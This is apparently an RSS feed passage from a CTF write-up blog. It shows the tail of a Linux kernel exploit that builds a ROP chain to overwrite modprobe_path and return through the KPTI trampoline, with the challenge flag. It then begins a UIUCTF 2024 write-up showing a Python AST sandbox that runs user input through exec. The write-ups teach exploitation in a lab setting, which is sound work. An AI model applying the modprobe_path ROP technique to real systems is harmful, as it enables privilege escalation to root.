&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">assert&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">fd2&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">close&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">fd2&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">save_state&lt;/span>&lt;span style="color:#111">();&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">unsigned&lt;/span> &lt;span style="color:#00a8c8">long&lt;/span>&lt;span style="color:#f92672">*&lt;/span> &lt;span style="color:#111">arr&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#00a8c8">unsigned&lt;/span> &lt;span style="color:#00a8c8">long&lt;/span>&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#ae81ff">0x39e8825b&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// gadgets:
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#75715e">// 0xffffffff813089e2: mov qword ptr [rsi], rcx ; add bl, ch ; ret
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#75715e">// 0xffffffff81ae90ce: pop rsi; ret
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#75715e">// 0x61616e77702f7265: pop rcx; ret
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">unsigned&lt;/span> &lt;span style="color:#00a8c8">long&lt;/span> &lt;span style="color:#111">modprobe&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0xffffffff82ed18c0&lt;/span> &lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">unsigned&lt;/span> &lt;span style="color:#00a8c8">long&lt;/span> &lt;span style="color:#111">kpti_trampoline&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0xffffffff81e0191e&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">unsigned&lt;/span> &lt;span style="color:#00a8c8">long&lt;/span> &lt;span style="color:#111">poprsi&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0xffffffff81ae90ce&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">unsigned&lt;/span> &lt;span style="color:#00a8c8">long&lt;/span> &lt;span style="color:#111">poprcx&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0xffffffff81d08613&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">unsigned&lt;/span> &lt;span style="color:#00a8c8">long&lt;/span> &lt;span style="color:#111">mov&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0xffffffff813089e2&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">size_t&lt;/span> &lt;span style="color:#111">off&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">arr&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">off&lt;/span>&lt;span style="color:#f92672">++&lt;/span>&lt;span style="color:#111">]&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">poprsi&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">arr&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">off&lt;/span>&lt;span style="color:#f92672">++&lt;/span>&lt;span style="color:#111">]&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">modprobe&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">arr&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">off&lt;/span>&lt;span style="color:#f92672">++&lt;/span>&lt;span style="color:#111">]&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">poprcx&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">arr&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">off&lt;/span>&lt;span style="color:#f92672">++&lt;/span>&lt;span style="color:#111">]&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0x73752f656d6f682f&lt;/span>&lt;span style="color:#111">;&lt;/span> &lt;span style="color:#75715e">// /home/us
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#111">arr&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">off&lt;/span>&lt;span style="color:#f92672">++&lt;/span>&lt;span style="color:#111">]&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">mov&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">arr&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">off&lt;/span>&lt;span style="color:#f92672">++&lt;/span>&lt;span style="color:#111">]&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">poprsi&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">arr&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">off&lt;/span>&lt;span style="color:#f92672">++&lt;/span>&lt;span style="color:#111">]&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">modprobe&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#ae81ff">8&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">arr&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">off&lt;/span>&lt;span style="color:#f92672">++&lt;/span>&lt;span style="color:#111">]&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">poprcx&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">arr&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">off&lt;/span>&lt;span style="color:#f92672">++&lt;/span>&lt;span style="color:#111">]&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0x61616e77702f7265&lt;/span>&lt;span style="color:#111">;&lt;/span> &lt;span style="color:#75715e">// er/pwnaa
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#111">arr&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">off&lt;/span>&lt;span style="color:#f92672">++&lt;/span>&lt;span style="color:#111">]&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">mov&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">arr&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">off&lt;/span>&lt;span style="color:#f92672">++&lt;/span>&lt;span style="color:#111">]&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">kpti_trampoline&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">arr&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">off&lt;/span>&lt;span style="color:#f92672">++&lt;/span>&lt;span style="color:#111">]&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0x0&lt;/span>&lt;span style="color:#111">;&lt;/span> &lt;span style="color:#75715e">// dummy rax
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#111">arr&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">off&lt;/span>&lt;span style="color:#f92672">++&lt;/span>&lt;span style="color:#111">]&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0x0&lt;/span>&lt;span style="color:#111">;&lt;/span> &lt;span style="color:#75715e">// dummy rdi
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#111">arr&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">off&lt;/span>&lt;span style="color:#f92672">++&lt;/span>&lt;span style="color:#111">]&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">user_rip&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">arr&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">off&lt;/span>&lt;span style="color:#f92672">++&lt;/span>&lt;span style="color:#111">]&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">user_cs&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">arr&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">off&lt;/span>&lt;span style="color:#f92672">++&lt;/span>&lt;span style="color:#111">]&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">user_rflags&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">arr&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">off&lt;/span>&lt;span style="color:#f92672">++&lt;/span>&lt;span style="color:#111">]&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">user_sp&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">arr&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">off&lt;/span>&lt;span style="color:#f92672">++&lt;/span>&lt;span style="color:#111">]&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">user_ss&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">ioctl&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">fd1&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>flag: &lt;code>ingehack{you_can_say_you_have_ZERO_LIMITS!!_badum_tss_🥁}&lt;/code>&lt;/p></description><author>nothoudaifa</author><guid>https://nothoudaifa.github.io/posts/ingehack-zero/</guid><pubDate>Wed, 26 Feb 2025 00:00:00 +0000</pubDate></item><item><title>astea chall writeup from uiuctf 2024</title><link>https://nothoudaifa.github.io/posts/uiuctf2024-astea/</link><description>&lt;h2 id="understanding-the-code">Understanding the code:&lt;/h2>
&lt;p>We are given this python file&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> &lt;span style="color:#111">ast&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#00a8c8">def&lt;/span> &lt;span style="color:#75af00">safe_import&lt;/span>&lt;span style="color:#111">():&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">print&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#34;Why do you need imports to make tea?&amp;#34;&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#00a8c8">def&lt;/span> &lt;span style="color:#75af00">safe_call&lt;/span>&lt;span style="color:#111">():&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">print&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#34;Why do you need function calls to make tea?&amp;#34;&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#00a8c8">class&lt;/span> &lt;span style="color:#75af00">CoolDownTea&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">ast&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">NodeTransformer&lt;/span>&lt;span style="color:#111">):&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">def&lt;/span> &lt;span style="color:#75af00">visit_Call&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">self&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">node&lt;/span>&lt;span style="color:#111">:&lt;/span> &lt;span style="color:#111">ast&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">Call&lt;/span>&lt;span style="color:#111">)&lt;/span> &lt;span style="color:#f92672">-&amp;gt;&lt;/span> &lt;span style="color:#111">ast&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">AST&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">return&lt;/span> &lt;span style="color:#111">ast&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">Call&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">func&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#111">ast&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">Name&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">id&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#d88200">&amp;#39;safe_call&amp;#39;&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">ctx&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#111">ast&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">Load&lt;/span>&lt;span style="color:#111">()),&lt;/span> &lt;span style="color:#111">args&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#111">[],&lt;/span> &lt;span style="color:#111">keywords&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#111">[])&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">def&lt;/span> &lt;span style="color:#75af00">visit_Import&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">self&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">node&lt;/span>&lt;span style="color:#111">:&lt;/span> &lt;span style="color:#111">ast&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">AST&lt;/span>&lt;span style="color:#111">)&lt;/span> &lt;span style="color:#f92672">-&amp;gt;&lt;/span> &lt;span style="color:#111">ast&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">AST&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">return&lt;/span> &lt;span style="color:#111">ast&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">Expr&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">value&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#111">ast&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">Call&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">func&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#111">ast&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">Name&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">id&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#d88200">&amp;#39;safe_import&amp;#39;&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">ctx&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#111">ast&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">Load&lt;/span>&lt;span style="color:#111">()),&lt;/span> &lt;span style="color:#111">args&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#111">[],&lt;/span> &lt;span style="color:#111">keywords&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#111">[]))&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">def&lt;/span> &lt;span style="color:#75af00">visit_ImportFrom&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">self&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">node&lt;/span>&lt;span style="color:#111">:&lt;/span> &lt;span style="color:#111">ast&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">ImportFrom&lt;/span>&lt;span style="color:#111">)&lt;/span> &lt;span style="color:#f92672">-&amp;gt;&lt;/span> &lt;span style="color:#111">ast&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">AST&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">return&lt;/span> &lt;span style="color:#111">ast&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">Expr&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">value&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#111">ast&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">Call&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">func&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#111">ast&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">Name&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">id&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#d88200">&amp;#39;safe_import&amp;#39;&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">ctx&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#111">ast&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">Load&lt;/span>&lt;span style="color:#111">()),&lt;/span> &lt;span style="color:#111">args&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#111">[],&lt;/span> &lt;span style="color:#111">keywords&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#111">[]))&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">def&lt;/span> &lt;span style="color:#75af00">visit_Assign&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">self&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">node&lt;/span>&lt;span style="color:#111">:&lt;/span> &lt;span style="color:#111">ast&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">Assign&lt;/span>&lt;span style="color:#111">)&lt;/span> &lt;span style="color:#f92672">-&amp;gt;&lt;/span> &lt;span style="color:#111">ast&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">AST&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">return&lt;/span> &lt;span style="color:#111">ast&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">Assign&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">targets&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#111">node&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">targets&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">value&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#111">ast&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">Constant&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">value&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">))&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">def&lt;/span> &lt;span style="color:#75af00">visit_BinOp&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">self&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">node&lt;/span>&lt;span style="color:#111">:&lt;/span> &lt;span style="color:#111">ast&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">BinOp&lt;/span>&lt;span style="color:#111">)&lt;/span> &lt;span style="color:#f92672">-&amp;gt;&lt;/span> &lt;span style="color:#111">ast&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">AST&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">return&lt;/span> &lt;span style="color:#111">ast&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">BinOp&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">left&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#111">ast&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">Constant&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">),&lt;/span> &lt;span style="color:#111">op&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#111">node&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">op&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">right&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#111">ast&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">Constant&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">))&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">code&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">input&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#39;Nothing is quite like a cup of tea in the morning: &amp;#39;&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">splitlines&lt;/span>&lt;span style="color:#111">()[&lt;/span>&lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">cup&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">ast&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">parse&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">code&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">cup&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">CoolDownTea&lt;/span>&lt;span style="color:#111">()&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">visit&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">cup&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">ast&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">fix_missing_locations&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">cup&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">exec&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">compile&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">cup&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#d88200">&amp;#39;&amp;#39;&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#d88200">&amp;#39;exec&amp;#39;&lt;/span>&lt;span style="color:#111">),&lt;/span> &lt;span style="color:#111">{&lt;/span>&lt;span style="color:#d88200">&amp;#39;__builtins__&amp;#39;&lt;/span>&lt;span style="color:#111">:&lt;/span> &lt;span style="color:#111">{}},&lt;/span> &lt;span style="color:#111">{&lt;/span>&lt;span style="color:#d88200">&amp;#39;safe_import&amp;#39;&lt;/span>&lt;span style="color:#111">:&lt;/span> &lt;span style="color:#111">safe_import&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#d88200">&amp;#39;safe_call&amp;#39;&lt;/span>&lt;span style="color:#111">:&lt;/span> &lt;span style="color:#111">safe_call&lt;/span>&lt;span style="color:#111">})&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;blockquote>
&lt;p>i used chatgpt to understand most of this.&lt;/p>
&lt;/blockquote>
&lt;p>this python file takes your code and parse’s it using the ast python module.&lt;/p>
&lt;blockquote>
&lt;p>check the &lt;a href="https://docs.python.org/3/library/ast.html">docs&lt;/a> for the ast module.&lt;/p>
&lt;/blockquote>
